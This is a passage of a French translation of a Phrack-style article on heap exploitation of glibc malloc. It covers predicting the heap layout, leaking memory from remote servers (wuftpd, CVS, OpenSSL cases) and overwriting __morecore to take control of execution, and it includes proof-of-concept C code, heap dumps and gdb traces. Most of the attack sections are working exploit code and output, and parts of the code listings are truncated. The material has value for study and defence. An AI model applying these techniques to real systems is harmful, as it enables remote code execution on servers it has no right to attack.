@ 0x8049938 - size 0x0080 bin 16 @ 0x400180c0 free_chunk @ 0x8049728 - size 0x0080 --- HEAP LAYOUT --- |A||A||16||A||A||L||A||T| Comme la taille de last_remainder n'est pas assez pour l'allocation demandée, le dernier reste est nettoyé et inséré comme un nouveau chunk libre dans le bin correspondant. Après, l'autre chunk libre est pris depuis son bin et divisé comme à l'étape précédente. 13 dipsi = malloc(1500); [1679] MALLOC(1500) - CHUNK_ALLOC(0x40018040,1504) clearing last_remainder frontlink(0x8049938,128,16,0x400180c0,0x8049728) last_remainder extended top chunk: previous size 0x540 new top 0x804a0a0 size 0xf61 returning 0x8049ac0 from top chunk --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 | chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0089 (A) chunk 0x8049938 0x0081 (F) | 0x08049728 | 0x400180c0 | chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x05e1 (A) chunk 0x804a0a0 0x0f61 (T) sbrk_end 0x804b000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x804a0a0 - top size = 0x0f60 bin 16 @ 0x400180c0 free_chunk @ 0x8049728 - size 0x0080 free_chunk @ 0x8049938 - size 0x0080 --- HEAP LAYOUT --- |A||A||16||A||A||16||A||A||T| Comme aucun chunk libre n'est suffisant pour la taille d'allocation demandée, le top chunk a encore été étendu. 14 free(dipsi); [1679] FREE(0x8049ac8) - CHUNK_FREE(0x40018040,0x8049ac0) merging with top new top 0x8049ac0 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 | chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0089 (A) chunk 0x8049938 0x0081 (F) | 0x 8049728 | 0x400180c0 | chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x1541 (T) sbrk_end 0x804b000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x1540 bin 16 @ 0x400180c0 free_chunk @ 0x8049728 - size 0x0080 free_chunk @ 0x8049938 - size 0x0080 --- HEAP LAYOUT --- |A||A||16||A||A||16||A||T| Le chunk juste après le top chunk est libéré, donc il est uni avec, et n'est pas inséré dans un bin. 15 free(lala); [1679] FREE(0x80499c0) - CHUNK_FREE(0x40018040,0x80499b8) unlink(0x8049938,0x400180c0,0x8049728) for back consolidation merging with top new top 0x8049938 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC) chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0089 (A) chunk 0x8049938 0x16c9 (T) sbrk_end 0x804b000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049938 - top size = 0x16c8 bin 16 @ 0x400180c0 free_chunk @ 0x8049728 - size 0x0080 --- HEAP LAYOUT --- |A||A||16||A||A||T| Encore, mais cette fois également le chunk avant le chunk libéré est uni, comme il était déjà libre. --------------------------------------------------------------------------- --] 4.3 - Reset de l'agencement - Prédiction de l'agencement initial - modèle du serveur Dans cette section, nous analysons comment des scénarios différents pourraient avoir un impact sur le proseccus d'exploitation. Dans le cas de serveurs étant redémarrés, il pourrait être utile de causer un "heap reset", ce qui siginfie crasher le processus en question pour obtenir un agencement initial propre et connu de la heap. La nouvelle heap qui est construite en même temps que le nouveau processus redémarré est dans son "agencement initial". Ceci ce réfère à l'état initial de la heap après l'initialisation du processus, avant de recevoir des entrées en provenace de l'utilisateur/utilisatrice. L'agencement initial de la heap peut être facilement prédit et utilisé comme point de départ connu pour la prédiction de l'évolution de l'agencement de la heap, au lieu d'utiliser un agencement non-vierge résultant de plusieurs modifications faites pendant le service aux requêtes des clients. Cet agencement initial pourrait ne pas trop varier entre des versions différentes du serveur ciblé, mais dans le cas de modifications majeures dans le code source. Un problème vraiment relatif à l'analyse de l'agencement de la heap est le type de processus étant exploité. Dans le cas de processus servant plusieurs clients, la prédiction de l'évolution de l'agencement de la heap est plus difficile, car pouvant être influencé par les autres clients qui pourraient interagir avec notre serveur cible alors que nous tentons de l'exploiter. Cependant, cela se révèle utile dans le cas où l'interaction entre le serveur et le client est très restreinte, car cela permet à l'attaquant(e) d'ouvrir de multiples connexions pour affecter le même processus avec l'entrée de commandes différentes. D'un autre côté, exploiter un serveur qui construit un processus par client (i.e. un serveur forké) est plus simple, aussi longtemps que nous pouvons prédire avec précision l'agencement initial de la heap et que nous somme capables de peupler la mémoire du processus de façon totalement contrôlée. C'est évident, un serveur qui n'est pas redémarré ne nous laisse qu'un seul essai pour, par exemple, bruteforcer et/ou un "heap reset" ne peut être appliqué. [NDT : Bon je viens de tomber sur ceci, extrait de "Langage C - Programmation Windows et Linux" (Editions Micro Applications - Grand Livre, 2000), page 325 : (Chapitre 7 - Classes de mémorisation) : "Le heap (tas) est une zone de mémoire libre qu'on peut occuper en cours de programme. Cela permet une gestion dynamique de la mémoire. En d'autres termes, on n'est pas toujours obligé de conférer aux données, via les définitions, des tailles figées (statiques). On peut, au contraire, les créer en cours de programme, et adapter en permanance leurs dimensions aux exigeances du moment (cf. chapitre Pointeurs)." Mouarf, je recopierai bien tout le paragraphe ("Segments de programme"), mais bon c'est un peu hors sujet, donc je vous invite à aller jeter un oeuil dans le bouquin. J'ai trouvé également un bon truc dans l'aide de Dev-C++ (oui bon je sais , y'a mieux comme référence ;-)] --------------------------------------------------------------------------- --] 4.4 Obtenir des informations du processus distant [NDT : Muse - Origin of Symmetry / Showbiz / Absolution] L'idée derrière les techniques dans cette section est de forcer un serveur distant de nous donner de l'information pour nous aider à trouver les localisations de mémoire dont nous avons besoin pour l'exploitation. Ce concept a déjà été utilisé comme différents mécanismes dans le papier "Bypassing PaX ASLR" [13], utilisé pour contourner les processus d'adresse mémoire randomizée. L'idée fut suggérée dans [4], comme "transformant une primitive d'écriture en une primitive de lecture". [NDT : Ces deux articles sont extraits du Phrack #59, dont la traduction est prévue. Enjoy ! :-)] --] 4.4.1 Modifier les données statiques du serveur - trouver le DATA du processus Cette technique a été vue à l'origine dans les exploits wuftpd ~{. Quand le processus ftpd reçoit une requête "help", il répond avec toutes les commandes disponibles. Celles-ci sont stockées dans un tableau qui est une partie du DATA du processus, étant une structure statique. L'attaquant(e) tente de réécrire une partie de la structure en utilisant la commande "help" jusqu'à ce qu'il/elle voie un changement dans la réponse du serveur. A présent l'attaquant(e) connaît une adresse absolue à l'intérieur du DATA du processus, et est capable de prédire la localisation le GOT du processus. --] 4.4.2 Modifier l'entrée de l'utilisateur - trouver la localisation du shellcode La technique suivante permet à l'attaquant(e) de trouver la localisation exacte du code injecté dans l'espace d'adressage du processus, étant indépendant du processus cible. Pour obtenir l'adresse, l'attaquant(e) donne au processus de fausses données, qui sont stockées dans une partie du processus. Après, la technique de base est employée, tentant d'écrire 4 octets à l'endroit où les fausses données étaient précedemment stockées. Après ceci, le serveur est forcé de répondre en utlisant les fausses données fournies. Si les données rejouées diffèrent des originales envoyées (prenant en compte toute information que le serveur pourrait modifier sur notre entrée), nous pouvons être certains que la prochaine fois que nous enverrons la même séquence en entrée au serveur, elle sera stockée à la même place. La réponse du serveur pourrait être tronquée si une fonction attendant NULL comme terminaison de chaîne est utilisée pour le ruser, ou pour obtenir la taille de la réponse avant de l'envoyer à travers le réseau. En fait, l'entrée fournie pourrait être stockée plusieurs fois à différants endroits, nous ne détecterons une modification que lorsque nous toucherons l'endroit où la réponse du serveur est rusée. Notez que nous sommes capables de tenter deux adresse différentes à chaque connexion, augmentant la vitesse du mécanisme de force brute. La principale condition requise pour utiliser ce trick est d'être en mesure de déclencher la primitive aa4bmo entre l'instant où les données fournies sont stockées et l'instant où la réponse du serveur est construite. La compréhension du comportement du processus d'allocation, incluant comment est traîtée chaque commande d'entrée disponible est requise. --] 4.4.2.1 Preuve de concept 3 : percuter la sortie Le code suivant simule un processus qui nous fournit une primitive aa4bmo pour essayer de trouver où se situe un tampon de sortie de heap alloué [heap allocated output buffer] : #include #define SZ 256 #define SOMEOFFSET 5 + (rand() % (SZ-1)) #define PREV_INUSE 1 #define IS_MMAP 2 #define OUTPUTSZ 1024 void aa4bmoPrimitive(unsigned long what, unsigned long where){ unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; for(;i output ## OUTPUT hide and seek ## [.] trying 0x8049ccc (-) output was not @ 0x8049ccc :P [.] trying 0x80498b8 (-) output was not @ 0x80498b8 :P [.] trying 0x8049cd0 (-) output was not @ 0x8049cd0 :P [.] trying 0x8049cd4 (-) output was not @ 0x8049cd4 :P [.] trying 0x8049cd8 (-) output was not @ 0x8049cd8 :P [.] trying 0x8049cdc (-) output was not @ 0x8049cdc :P [.] trying 0x80498c8 (!) you found the output @ 0x80498c8 :( [OOOOOOOOÈ~X^D^HÈ~X^D^HOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO ... OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO] Notez la sortie tamponnée dans le hexdump suivant : ... 7920 756f 6620 756f 646e 7420 6568 6f20 7475 7570 2074 2040 7830 3038 3934 6338 2038 283a 5b0a 4f4f 4f4f 4f4f 4f4f 98c8 <== 0804 98c8 0804 4f4f 4f4f 4f4f 4f4f 4f4f <== 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 0a5d Ce mécanisme de force brute n'est pas complètement précis dans certains cas, par exemple lorsque le serveur cible utilise un arrangement de tamporisation de la sortie. Pour perfectionner la technique, nous pourrions peut-être marquer une partie des données fournies comme shellcode réel, et l'autre comme des nops, ayant besoin que la partie nop soit atteinte durant la force brute pour éviter d'obtenir une adresse au milieu de notre shellcode. Et même mieux, nous pourrions marquer chaque quatre octets avec un offset masqué (i.e; pour éviter le caractère \x00), lorsque nous analysons la réponse nous obtenons à présent l'offset attendu dans le shellcode, donc nous sommes capables dans un second essai de voir si notre shellcode est actuellement stocké dans cette adresse attendue, détectant et évitant de ce fait le risque que notre entrée soit séparée et stockée séparément dans le heap. Par exemple, dans l'exploit double free "Directory" de CVS [7], des commandes non-reconnues (i.e. "cucucucucu") sont utilisées pour peupler le heap du serveur. Le serveur ne répond pas, il stocke juste les données fournies dans le heap, et attends, jusqu'à ce qu'un noop ou une commande soit reçue. Après cela, la commande non-reconnue qui a été envoyée est ré-envoyée sans aucune modification au client. Nous pouvons donner au serveur des données sans presque aucune restriction de taille, ces données sont stockées dans le heap, jusqu'à ce que nous les forçons à nous être rejouées. Cependant, en analysant comment notre commande non-reconnue est stockée dans la heap où nous l'avons trouvée, au lieu de ce qui est attendu (un chunk de mémoire seul avec nos données), il y a d'autres structures mélangées avec notre entrée : --- HEAP DUMP --- ADDRESS SIZE FD BK [...] chunk 0x80e9998 0x00661 (F) | 0x40018e48 | 0x40018e48 | chunk 0x80e9ff8 0x10008 (A) chunk 0x80fa000 0x00ff9 (F) | 0x40018ed0 | 0x0810b000 | chunk 0x80faff8 0x10008 (A) chunk 0x810b000 0x00ff9 (F) | 0x080fa000 | 0x0811c000 | chunk 0x810bff8 0x10008 (A) chunk 0x813e000 0x04001 (T) sbrk_end 0x8142000 Ceci se produit parce que les messages d'erreur sont mis en tampons quand ils sont générés, attendant d'être effacés, des structures internes d'état des tampons^sont allouées, et nos données sont séparées et stockées dans des tampons d'erreur de taille fixe. --] 4.4.3 Modifier les entrées de l'utilisateur - trouver les données de la libc Dans cette situation, nous pouvons fournir des entrées au serveur vulnérable qui nous sont ré-envoyées en sortie. Par exemple, dans la faille double free "Directory" de CVS, nous donnons le serveur et la commande invalide, qui est finalement rendue en écho en expliquant que c'était une comande invalide. Si nous sommes capables de forcer un appel à free(), sur une adresse pointant vers quelque part au milieu de notre entrée fournie, avant qu'elle ne soir renvoyée au client, nous sommes capables d'obtenir l'adresse d'un main_arena d'un bin. La capacité de forcer un free() pointant sur l'entrée que nous avons fournie dépend du scénario de l'exploitation, puyisqu'il est simple d'atteindre ceci dans les situations de "double-free". Lorsque le serveur libère notre entrée, il trouve un chunk de très grosse taille, alors il le relie au premier chunk (chunk seul) du bin. Ceci dépend principalement du processus de l'agencement du heap, mais selon ce que nous sommes en train d'exploiter il devbrait être facile de prédire quelle taille nous aurions besoin pour créer le nouveau chunk libre pour qu'il soit seul. Quand frontlink() met en place le nouveau chunk libre, il sauvegarde l'adresse du bin dans les pointeurs fw et bk du bin du chunk, ceci étant ce qui nous permettra plus tard d'obtenir l'adresse du bin. Notez que nous devrions faire attention avec notre chunk d'entrée, pour éviter que le processus ne crashe pendant la libération de notre chunk, mais ceci est très simple dans la plupart des cas, i.e. en fournissant une adresse connue à côté de la fin de la pile. L'utilisateur/utilisatrice fournit comme entrée un "chunk rempart" au procesus cible. free() est appelée dans une quelconque part de notre entrée, donc notre chunk spécialement construit est inséré dans l'un des derniers bins (nous savons peut-être qu'il est vide par l'étape d'analyse du heap, évitant ensuite un crash du processus). Lorsque le chunk rempart fournit est inséré dans le bin, l'adresse du bin est écrite dans les champs fd et bk de l'en-tête du chunk. --] 4.4.3.1 Preuve de concept 4 : libérer la sortie Le code suivant crée un "chunk rempart" comme il serait envoyé au serveur, et appelle free() à un endroit au hasard dans le chunk (comme le serveur cible le ferait). Le chunk rempart écrit à une adresse valide pour éviter un crash du processus, et ses pointeurs backward et forward sont renseignés avec l'adresse du bin par la macro frontlink(). Après, le code cherche les adresses voulues dans la sortie, comme le ferait un exploit qui aurait reçu la réponse du serveur. #include #define SZ 256 #define SOMEOFFSET 5 + (rand() % (SZ-1)) #define PREV_INUSE 1 #define IS_MMAP 2 unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where){ unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; for(;i %p\n",output[i]); return 0; } printf("(x) did not find bin address\n"); } ./freeOutput ## FREEING THE OUTPUT PoC ## (-) creating output buffer... (-) calling free() at random address of output buffer... (-) looking for bin address... (!) found bin address -> 0x4212b1dc Nous obtenons un chunk libre avec notre tampon fournit : chunk_free (ar_ptr=0x40018040, p=0x8049ab0) at heapy.c:3221 (gdb) x/20x p 0x8049ab0: 0xfffffd6d 0xfffffd69 0xfffffd65 0xfffffd61 0x8049ac0: 0xfffffd5d 0xfffffd59 0xfffffd55 0xfffffd51 0x8049ad0: 0xfffffd4d 0xfffffd49 0xfffffd45 0xfffffd41 0x8049ae0: 0xfffffd3d 0xfffffd39 0xfffffd35 0xfffffd31 0x8049af0: 0xfffffd2d 0xfffffd29 0xfffffd25 0xfffffd21 (gdb) 0x8049b00: 0xfffffd1d 0xfffffd19 0xfffffd15 0xfffffd11 0x8049b10: 0xfffffd0d 0xfffffd09 0xfffffd05 0xfffffd01 0x8049b20: 0xfffffcfd 0xfffffcf9 0xfffffcf5 0xfffffcf1 0x8049b30: 0xfffffced 0xfffffce9 0xfffffce5 0xfffffce1 0x8049b40: 0xfffffcdd 0xfffffcd9 0xfffffcd5 0xfffffcd1 (gdb) 0x8049b50: 0xfffffccd 0xfffffcc9 0xfffffcc5 0xfffffcc1 0x8049b60: 0xfffffcbd 0xfffffcb9 0xfffffcb5 0xfffffcb1 0x8049b70: 0xfffffcad 0xfffffca9 0xfffffca5 0xfffffca1 0x8049b80: 0xfffffc9d 0xfffffc99 0xfffffc95 0xfffffc91 0x8049b90: 0xfffffc8d 0xfffffc89 0xfffffc85 0xfffffc81 (gdb) 3236 next = chunk_at_offset(p, sz); 3237 nextsz = chunksize(next); 3239 if (next == top(ar_ptr)) /* merge with top */ 3278 islr = 0; 3280 if (!(hd & PREV_INUSE)) /* consolidate backward */ 3294 if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ 3296 sz += nextsz; 3298 if (!islr && next->fd == last_remainder(ar_ptr)) 3306 unlink(next, bck, fwd); 3315 set_head(p, sz | PREV_INUSE); 3316 next->prev_size = sz; 3317 if (!islr) { 3318 frontlink(ar_ptr, p, sz, idx, bck, fwd); Après que la macro frontlink() ait été appelée avec notre tampon fournit, elle obtiens l'adresse du bin dans lequel il est inséré : (gdb) x/20x p 0x8049ab0: 0xfffffd6d 0xfffffd65 0x40018430 0x40018430 0x8049ac0: 0xfffffd5d 0xfffffd59 0xfffffd55 0xfffffd51 0x8049ad0: 0xfffffd4d 0xfffffd49 0xfffffd45 0xfffffd41 0x8049ae0: 0xfffffd3d 0xfffffd39 0xfffffd35 0xfffffd31 0x8049af0: 0xfffffd2d 0xfffffd29 0xfffffd25 0xfffffd21 (gdb) c Continuing. (-) looking for bin address... (!) found bin address -> 0x40018430 Vérifions l'adresse que nous avons obtenue : (gdb) x/20x 0x40018430 0x40018430 : 0x40018428 0x40018428 0x08049ab0 0x08049ab0 0x40018440 : 0x40018438 0x40018438 0x40018040 0x000007f0 0x40018450 : 0x00000001 0x00000000 0x00000001 0x0000016a 0x40018460 <__FRAME_END__+12>: 0x0000000c 0x00001238 0x0000000d 0x0000423c 0x40018470 <__FRAME_END__+28>: 0x00000004 0x00000094 0x00000005 0x4001370c Et nous voyons que c'est l'un des derniers bins de main_arena. Bien que dans cet exemple nous atteignons le chunk rempart au premier essai, cette technique peut être appliquée en même temps pour faire le brute force de l'endroit où se trouve notre sortie (si nous ne le savons pas auparavant). --] 4.4.4 Faille basée sur la fuite de mémoire de la heap - trouver les données de la libc Dans ce cas, la faille elle-même mène à une fuite de la mémoire du processus. Par exemple, dans la faille "SSLv2 Malformed Client Key Buffer Overflow" de OpenSSL [6], l'attaquant(e) est capable de déborder un tampon et de réécrire une variable utilisée pour traquer une taille de tampon. Lorsque cette taille est réécrite, avec une taille plus grande que l'originale, le processus envoie le contenu du tampon (stocké dans le heap du processus) au client, envoyant plus d'information que stocké à l'origine. L'attaquant(e) obtient ensuite une portion limitée du heap du processus. --------------------------------------------------------------------------- --] 4.5 Mauvais traitements sur les informations qui ont fuit Le but des techniques dans cette section est d'exploiter les informations collectées en utilisant l'un des tricks de fuite d'information de processus vus précédemment. --] 4.5.1 Reconnaître la zone L'idée est d'obtenir des informations collectées précedemment l'adresse d'un bin malloc. Ceci s'applique principalement aux scénarios où nous sommes capables de fuiter la mémoire du heap du processus. L'adresse d'un bin peut être obtenue directement si l'attaquant(e) peut utiliser la technique "libérer la sortie". L'adresse de bin obtenue peut être utilisée plus tard pour trouver l'adresse d'un pointeur sur fonction à réécrire avec l'adresse de notre shellcode, comme vu dans les techiques suivantes. En se souvenant comment les bins sont organisés en mémoire (doubles listes liées circulaires), nous savons qu'un chunk accroché à un bin contenant juste un chunk aura les deux pointeurs (bk et fd) pointant vers la tête de la liste, vers la même adresse, car la liste est circulaire. [bin_n] (premier chunk) ptr] ----> [<- chunk ->] [<- chunk ->] [<- fd [ chunk ptr] ----> [<- chunk ->] [<- chunk ->] [<- bk [bin_n+1] (dernier chunk) . . . [bin_X] ptr] ----> [<- fd [ chunk seul mais intéressant ptr] ----> [<- bk . . C'est réellement joli, car ça nous autorise à reconnaître dans le heap quelle adresse pointe vers un bin, situé plus exactement dans l'espace d'adressage de la libc, quelque part dans le main_arena car cette tête de liste des bin est située dans le main_arena. Ensuite, nous pouvons chercher après deux adresses mémoire égales, l'une après l'autre, pointant vers la mémoire de la libc (chercher après des adresses de la forme 0x4....... est suffisant dans notre but). Nous pouvons supposer que ces paires d'adresses que nous avons trouvées sont une part d'un chunk libre qui est le seul accroché à un bin, nous savons que ça ressemble à... taille | fd | bk A quel point est-il simple de trouver un chunk seul dans l'imensité du heap ? D'abord, cela dépend du scénario de l'exploitation de l'agencement du heap du processus cible. Par exemple, lorsqu'on exploite le bug OpenSSL sur différentes cibles, nous pourrions toujours trouver au moins un chunk isolé dans la mémoire fuyante du heap. Ensuite, il y a un autre scénario dans lequel nous serons capables de localiser un bin malloc, même sans la capacité de trouver un chunk seul. Si nous sommes en mesure de trouver le premier ou le dernier chunk d'un bin, l'un de ses pointeurs référencera une adresse dans main_arena, alors que l'autre pointera vers un autre chunk libre dans le heap du processus. Donc, nous chercherons après des paires de pointeurs valides comme ceux-ci : [ ptr_2_libc's_memory | ptr_2_process'_heap ] ou [ ptr_2_process'_heap | ptr_2_libc's_memory ] Nous devons prendre en compte que cette heuristique ne sera pas aussi précise que chercher après une paire de pointeurs égaux pointant vers des adresses de l'espace libc, mais comme nous l'avons déjà dit, il est possible de croiser les vérifications entre plusieurs chunks possibles. Finalement, nous devons nous souvenir que ceci dépend totalement de la façon dont abusons le processus pour lire sa mémoire. Dans le cas où nous pouvons lire arbitrairement les adresses de la mémoire, ce n'est pas un problème, le problème devient plus difficile dès que notre mécanisme pour récupérer la mémoire distante est limité. --] 4.5.2 Morecore Ici, nous montrons comment trouver un pointeur sur fonction dans la libc après avoir obtenu l' adresse d'un bin malloc, en utilisant l'un des mécanismes expliqués avant. En utilisant le champ taille de l'en-tête du chunk récupéréet la macro bin_index() ou smallbin_index() nous obtenons l'adresse exacte du main_arena. Nous pouvons croiser les checks entre plusieurs chunk supposés seuls que l'adresse de main_arena est la bonne, selon la quantité de paires de chunks seuls nous serons plus sûrs. Aussi longtemps que le processus ne crash pas, nous pourrions récupérer de la mémoire du heap plusieurs fois, car main_arena ne changera pas de place. De plus, je pense qu'il ne serait pas faux de supposer que main_arena est situé à la même adresse dans différants processus (ceci dépend de l'adresse à laquelle la libc est mappée). Ceci pourrait même être vrai pour différents processus serveurs, nous autorisant à récupérer le main_arena au travers d'une fuite dans un processus différent de celui que l'on exploite. __morecore est situé juste 32 octets avant &main_arena[0]. Void_t *(*__morecore)() = __default_morecore; MORECORE() est le nom de la fonction qui est appelée au travers du code de malloc pour obtenir plus de mémoire du système d'exploiation, elle fait défaut à sbrk(). Void_t * __default_morecore (); Void_t *(*__morecore)() = __default_morecore; #define MORECORE (*__morecore) Le désassemblage suivant montre comment MORECORE est appelée depuis le code de chunk_alloc(), un appel indirect à __default_morecore est effectué par défaut : : mov 0x64c(%ebx),%eax : sub $0xc,%esp : push %esi : call *(%eax) where $eax points to __default_morecore (gdb) x/x $eax 0x4212df80 <__morecore>: 0x4207e034 (gdb) x/4i 0x4207e034 0x4207e034 <__default_morecore>: push %ebp 0x4207e035 <__default_morecore+1>: mov %esp,%ebp 0x4207e037 <__default_morecore+3>: push %ebx 0x4207e038 <__default_morecore+4>: sub $0x10,%esp MORECORE() est appelée depuis l'algorithme de malloc() pour étendre le haut de la mémoire, en demandant au système d'exploitation via la sbrk. MORECORE() est appelée deux fois depuis malloc_extend_top() brk = (char*)(MORECORE (sbrk_size)); ... /* Allocate correction */ new_brk = (char*)(MORECORE (correction)); qui est appelée par chunk_alloc() : /* Try to extend */ malloc_extend_top(ar_ptr, nb); MORECORE est également appelée par main_trim et top_chunk(). Nous avons juste besoin de nous asseoir et d'attendre jusqu'à ce que le code atteigne l'un de ces points. Dans certains cas il peut être nécessaire d'arranger les choses pour éviter que le code ne crashe avant. Le pointeur sur fonction morecore est appelé chaque fois que le heap a besoin d'être étendu, donc forcer le processus à allouer beaucoup de mémoire est recommandé après avoir réécrit le pointeur. Dans le cas où nous ne pouvons pas éviter un crash avant d'avoir pris le contrôle du processus, il n'y a aucun problème (à moins que le serveur ne meure complètement), car nous pouvons espérer que la libc soit mappée à la même adresse dans la plupart des cas. --] 5.5.2.1 Preuve de concept 5 : jumper avec morecore Le code suivant montre juste comment obtenir l'information requise d'un chunk libre, calcule l'adresse de __morecore et force un appel à MORECORE() après l'avoir réécrit. [jp@vaiolator heapy]$ ./heapy (-) lonely chunk was freed, gathering information... (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0 (!) the chunk is in bin number 64 (!) &main_arena[0] @ 0x4212DFA0 (!) __morecore @ 0x4212DF80 (-) overwriting __morecore... (-) forcing a call to MORECORE()... Segmentation fault Regardons ce qui s'est passé avec gdb, nous utiliserons également un simple malloc modifié sous la forme d'une librairie partagée pour savoir ce qui se passe dans les structures internes de malloc. [jp@vaiolator heapy]$ gdb heapy GNU gdb Red Hat Linux (5.2-2) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) r Starting program: /home/jp/cerebro//heapy/morecore (-) lonely chunk was freed, gathering information... (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0 (!) the chunk is in bin number 64 (!) &main_arena[0] @ 0x4212DFA0 (!) __morecore @ 0x4212DF80 (-) overwriting __morecore... (-) forcing a call to MORECORE()... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Jetons un oeuil à la sortie pas à pas : D'abord nous allouons notre chunk isolé : chunk = (unsigned int*)malloc(CHUNK_SIZE); (gdb) x/8x chunk-1 0x80499d4: 0x00000209 0x00000000 0x00000000 0x00000000 0x80499e4: 0x00000000 0x00000000 0x00000000 0x00000000 Notez que nous appelons encore malloc() avec un autre pointeur, laissant ce pointeur auxiliaire être le chunk suivant le top_chunk... Pour éviter les différences dans la façon dont c'est manipulé [handled] lorsque libéré avec notre but (souvenez-vous que dans ce cas spécial le chunk serait uni avec le top_chunk sans être lié à aucun bin) : aux = (unsigned int*)malloc(0x0); [1422] MALLOC(512) - CHUNK_ALLOC(0x40019bc0,520) - returning 0x8049a18 from top_chunk - new top 0x8049c20 size 993 [1422] MALLOC(0) - CHUNK_ALLOC(0x40019bc0,16) - returning 0x8049c20 from top_chunk - new top 0x8049c30 size 977 C'est à ceci que ressemble le heap à partir de maintenant... --- HEAP DUMP --- ADDRESS SIZE FLAGS sbrk_base 0x80499f8 chunk 0x80499f8 33(0x21) (inuse) chunk 0x8049a18 521(0x209) (inuse) chunk 0x8049c20 17(0x11) (inuse) chunk 0x8049c30 977(0x3d1) (top) sbrk_end 0x804a000 --- HEAP LAYOUT --- |A||A||A||T| --- BIN DUMP --- ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30 Aucun bin n'existe à présent, ils sont complètement vides. Après ceci nous le libérons : free(chunk); [1422] FREE(0x8049a20) - CHUNK_FREE(0x40019bc0,0x8049a18) - fronlink(0x8049a18,520,64,0x40019dc0,0x40019dc0) - new free chunk (gdb) x/8x chunk-1 0x80499d4: 0x00000209 0x4212e1a0 0x4212e1a0 0x00000000 0x80499e4: 0x00000000 0x00000000 0x00000000 0x00000000 Le chunk a été libéré et inséré dans un bin... Qui était vide car c'était le premier chunk libéré. Donc c'est un "chunk isolé", le seul chunk dans un bin. Ici nous voyons bk et fd pointer vers la même adresse dans la mémoire de libc, voyons à quoi ressemble à présent le main_arena : 0x4212dfa0 : 0x00000000 0x00010000 0x08049be8 0x4212dfa0 0x4212dfb0 : 0x4212dfa8 0x4212dfa8 0x4212dfb0 0x4212dfb0 0x4212dfc0 : 0x4212dfb8 0x4212dfb8 0x4212dfc0 0x4212dfc0 0x4212dfd0 : 0x4212dfc8 0x4212dfc8 0x4212dfd0 0x4212dfd0 0x4212dfe0 : 0x4212dfd8 0x4212dfd8 0x4212dfe0 0x4212dfe0 0x4212dff0 : 0x4212dfe8 0x4212dfe8 0x4212dff0 0x4212dff0 0x4212e000 : 0x4212dff8 0x4212dff8 0x4212e000 0x4212e000 0x4212e010 : 0x4212e008 0x4212e008 0x4212e010 0x4212e010 0x4212e020 : 0x4212e018 0x4212e018 0x4212e020 0x4212e020 0x4212e030 : 0x4212e028 0x4212e028 0x4212e030 0x4212e030 ... ... 0x4212e180 : 0x4212e178 0x4212e178 0x4212e180 0x4212e180 0x4212e190 : 0x4212e188 0x4212e188 0x4212e190 0x4212e190 0x4212e1a0 : 0x4212e198 0x4212e198 0x080499d0 0x080499d0 0x4212e1b0 : 0x4212e1a8 0x4212e1a8 0x4212e1b0 0x4212e1b0 0x4212e1c0 : 0x4212e1b8 0x4212e1b8 0x4212e1c0 0x4212e1c0 Notez le main_arena tout juste initialisé avec tous ses bins pointant sur eux-mêmes, et le chunk libre tout juste ajouté vers un des bins... (gdb) x/4x 0x4212e1a0 0x4212e1a0 : 0x4212e198 0x4212e198 0x080499d0 0x080499d0 En plus, les deux pointeurs se réfèrent à notre chunk isolé. Jetons un oeuil au heap à cet instant : --- HEAP DUMP --- ADDRESS SIZE FLAGS sbrk_base 0x80499f8 chunk 0x80499f8 33(0x21) (inuse) chunk 0x8049a18 521(0x209) (free) fd = 0x40019dc0 | bk = 0x40019dc0 chunk 0x8049c20 16(0x10) (inuse) chunk 0x8049c30 977(0x3d1) (top) sbrk end 0x804a000 --- HEAP LAYOUT --- |A||64||A||T| --- BIN DUMP --- ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30 bin -> 64 (0x40019dc0) free_chunk 0x8049a18 - size 520 En utilisant la taille connue de notre chunk, nous savons dans quel bin il a été placé, donc nous pouvons obtenir l'adresse de main_arena et, finalement, __morecore. (gdb) x/16x 0x4212dfa0-0x20 0x4212df80 <__morecore>: 0x4207e034 0x00000000 0x00000000 0x00000000 0x4212df90 <__morecore+16>: 0x00000000 0x00000000 0x00000000 0x00000000 0x4212dfa0 : 